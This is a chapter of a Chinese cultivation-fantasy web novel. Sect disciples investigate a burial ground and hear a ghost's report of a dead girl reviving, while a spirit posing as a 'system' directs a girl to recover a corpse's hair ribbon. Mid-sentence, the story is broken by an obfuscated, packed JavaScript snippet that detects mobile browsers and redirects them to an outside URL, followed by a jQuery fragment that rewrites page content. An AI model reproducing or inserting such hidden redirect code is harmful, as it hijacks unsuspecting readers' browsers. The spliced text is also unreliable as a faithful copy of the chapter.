还是那个青州城城郊的乱葬岗。
林文旭探查一圈,向一白衣男子汇报:“雨师兄,此处应当无异常。”
二人均为天桓宗的弟子,而这白衣男子正是天桓宗的内门弟子——雨濯枝。
林文旭看着他,感慨师兄真是如同从画中走出来的谪仙。
可惜此处并非瑶台仙境,亦无玉宇琼楼,只有缭绕的阴煞之气勉强算作在为之敷色。
雨濯枝本在兀自出神,怔了片刻后才意识到有人说话,抬起一双潋滟的桃花眸询问:“抱歉,方才没听清,你说什么?”
林文旭掩饰般咳了两声,重复了一遍:“咳咳,我说我并未探查到异常之处。师兄,你要再看看吗?”
雨濯枝:“不必,我已经看过了,确实无异常。”
林文旭关切道:“师兄,你怎么魂不守舍的?”
雨濯枝:“唔……有位友人身殒了。”
林文旭怪自己多嘴:“啊这……师兄,请节哀顺变。”
雨濯枝淡淡道:“嗯。”
他何止哀伤,他还惋惜并且不解,她那般的人,不该轻易被摧折的。
林文旭实在不知该如何宽慰师兄,他嘴拙是一方面,另一方面,他同雨师兄委实不大熟。
近些日子青州城内有魔物作乱的痕迹,城主托天桓宗调查此事。宗内一些外门弟子领了这份差事,也算是历练,林文旭正是其一。
一般来说,外门弟子应付这等小事已是绰绰有余,无需劳烦内门弟子,那缘何雨师兄会出现在这里呢?
林文旭回想起昨日的场景。
散学后,同他约好的王师兄来找他,说:“林师弟,实在是对不住,我吃坏了肚子,明日你自己去吧。”
林文旭:“啊……可是,我一人恐应付不来。没事的师兄,也许你明日就好了呢。”
王师兄没敢看他的眼晴,扔下一句:“明日也好不了!”便头也不回地跑了。
林文旭站在原地,苦恼地喃喃:“可我对青州城不太熟悉呀……”
“青州?可以同你一起去。”
“雨……雨师兄。”林文旭抬头一看,简直不敢相信自己的眼睛,竟是雨师兄!宗门内的天骄雨濯枝!
难道说……雨师兄察觉到他天资聪颖,不忍他落单,这才予以协助?
雨师兄真是个好人啊!
林文旭捏紧拳头激动道:“放心吧雨师兄,我一定会向你证明我的潜力,绝不拖你后腿!”
雨濯枝唇角微扬,俯身看着眼前的小萝卜头说:“那明日你打头阵。”
——如此,他们便结了队。
方才经过一座山时,师兄说有事要办,让他自己先到周边探一探,再次见到时,脸上就没了笑意。
哎呀,他得说点什么才是。
林文旭绞尽脑汁,却一句话也憋不出来,懊恼之际,听到雨师兄自嘲:
“我糊涂了,跟你一小孩说这做什么。去下一处吧。”
八岁的林文旭呆愣愣地:“……哦,好的。”
二人正准备离开,身后不远处传来一道声音。
“请留步!”
雨濯枝和林文旭回头看向来人,不,是来“鬼”。
“二位大人,小人有要事禀报!”一只男鬼战战兢兢地飘过来,不敢离他们太近。
这称呼忒客气,林文旭纠正道:“不必称我们为‘大人’,直言便是。”
男鬼的神色更加拘谨:“是是是,小人是想说,前些日子有件怪事……”
林文旭无奈,这鬼说几个字便要抬眼觑他们,催促道:“你说便是,我们又不会吃鬼。”
男鬼讪笑着恭维:“哎哟,这不是敬畏二位的神威嘛。”他不敢再拖沓,“我亲眼看见有位死了的姑娘,忽然间又活了过来!”
雨濯枝神色一凛,上前一步:“请道其详。”
*
无名峰顶。
杜鸣菀觉得奇怪,重复凌云意的话:“你觉得,她没有朋友?”
凌云意不回答,转而说:“动手吧。”
杜鸣菀怒了:“连把铲子都不给我,我怎么动手!”
凌云意:“那我赊与你个奖励,助你完成此任务。”
杜鸣菀:“你先说是什么奖励,不要告诉我是一把铁铲。”
“非也,是控土术哦。”尾调微扬,凌云意诱惑道,“不过你得再多做一个小任务。”
“没问题,开工开工!”杜鸣菀浑身充满了干劲,甚至没问下个任务是什么。
凌云意暗笑,还没真正学会就如此开心。
凌云意本打算在分别之前,引杜鸣菀入道,可照目前看来,这姑娘在修炼一途还真是块榆木疙瘩,天赋甚至远不如平凡普通的自己……还是将御风术和控土术的法诀授予她,待她以后入道再自行研习吧。
有凌云意暗中施展控土术,隐没于黄土的焦黑色逐渐显现出来。
在杜鸣菀的干呕声中,凌云意细细探查着。
储物袋被炸毁了,散落出来的东西被归拢起来,整齐地放在尸体旁,赤红色的发带仍点缀在发间,那是师姐赠予她的生辰礼物。
唔……常用的剑扭曲断裂了,师姐送的面人应是被炸没了,收集的树叶也已化为齑粉,伤药瓶被打碎仅余些许碎片,几块碎银子还在……旁的倒是记不清了,她从小到大收集了不少宝贝放在里面。
不过这些东西于她而言是珍宝,对旁人来说应当只是废物,想来她这无端冒出的“友人”也不会偷拿她的宝贝们,毕竟最值钱的发带都还在。
更奇怪了,到底是哪来的朋友呢。
想了想,凌云意道:“你把她头上的发带取下。”
杜鸣菀连忙摆手:“这不太好吧……多冒犯啊……呕!”
凌云意:“无妨,她不会介意的。”
“我介意啊!我介意!你不觉得很吓人吗?而且还有难闻的味道……”这系统真不是人啊,是她yue的声音还不够大吗?
“我不觉得吓人,而且我闻不到。”凌云意鼓励,“一鼓作气,你可以的!”
杜鸣菀后退几步,作出投降状:“臣妾做不到啊!”
凌云意无奈,本来想省点灵力的,现在还得自己来。
发带应念而起,被无形的力量托举至杜鸣菀面前。
凌云意:“你可否……”帮忙保管下?
话还没说完,就见杜鸣菀把头摇成拨浪鼓,大喊:“不要不要!”
凌云意加码:“这是灵器,可以借你用。”
杜鸣菀一听是灵器,立马转变了态度:“我要我要!”
什么借不借的,先拿了再说。
杜鸣菀接过发带,单手将它系在腕间。
其实凌云意倒是能耗费
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275578|198228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵力,将发带隐匿起来,可现在无法吸纳天地灵气,恢复的灵力是用一点就少一点,不如让杜鸣菀代为保管。
以她原本的修为境界,施展这等法术所耗费的灵力不过九牛一毛,何需抠搜至此。
唉!
暗叹一口气,凌云意又将碎银塞进杜鸣菀的袖子里,道:“这是此次任务的奖励。”
这下杜鸣菀没有吱哇乱叫地拒绝,没人会跟钱过不去。
凌云意发布下个任务:“去乱葬岗给杜明玉烧碎布。”
杜鸣菀:“还要烧?”
凌云意:“嗯……两处地方要兼顾。碎布还在身上吗?”
杜鸣菀伸手往袖子里探了探,回道:“在的,你说了以后我就往袖子里塞了一块。”
凌云意放心了。
二人又一通忙活,将坑填平、碑立好,待要出发前往乱葬岗时,夜幕已降临。
路上杜鸣菀说天太黑、走太快,看不清路,凌云意舍不得再耗费灵力用引火术,便现身为其照明,惹得杜鸣菀又是一阵惊奇:“哇!你的形象还蛮可爱的嘛。”
肉嘟嘟的小脸上缀着两颗黑葡萄般水灵灵的大眼睛,眉清目秀,整个娃娃小巧而精致,周身散发着柔和的光芒,还悬在半空中,更显得她如同粉雕玉琢的精灵。
凌云意深有同感,面上却矜持,颔首道:“确实可爱。”
此后视野倒是明亮了许多,却招来了不少蚊虫,那些蚊虫飞得快嘴还毒,把杜鸣菀叮得满身是包。
杜鸣菀笑不出来了。
*
在乱葬岗为杜明玉供奉香火是她本人所求。
今晨,杜明玉除了向托凌云意道谢外,还向她寻求帮助:“仙君,我有个不情之请。能否劳烦您……和那位杜姑娘,再用昨日的法子,让我能回乱葬岗?”
凌云意疑惑:“为何要回去?”
杜明玉道:“我说不上来,但是在那里的时候,魂魄感到格外安宁舒适,许会对我修鬼道有益。”
举手之劳,凌云意自是无有不可,顺便代杜鸣菀应承了,而后赞道:“你未曾接触修行之事,却能隐隐窥见法门,悟性相当不错,悟道指日可待。”
杜明玉莞尔一笑:“承您吉言。仙君此番助我良多,我却未能帮到您什么,实在是受之有愧,日后仙君若有需要,明玉必结草衔环以报。”
凌云意:“无需如此,本也不是图你回报。你我有缘,我对你的遭遇深感惋惜,她也为你不平。”
这个“她”,自然是指杜鸣菀。
“我生前命途多舛,死后却有奇遇,何其有幸。”杜明玉感慨万千,忽想到什么,笑意微敛,“仙君打算一直伪装……‘系统’吗?”
“明日我会与她分别,届时我会如实相告。”凌云意坦言。
“仙君灵台清明、心境洞然,心中自有章程。”杜明玉语气犹豫,“只是人心诡谲,还望仙君对旁人多加防备,勿要轻易交心。”
凌云意直觉这两位杜姑娘皆心地善良,无需防备,但思及杜父杜母,又不得不承认。
“你说得也是。”凌云意忽地转换了语气,严肃道,“如今唯有你,知晓我的真实身份。”
真是搬起石头砸自己的脚,杜明玉慌乱地解释:“我绝不会出卖仙君!”
“逗你的。”凌云意使坏成功,暗自发笑。
杜明玉:……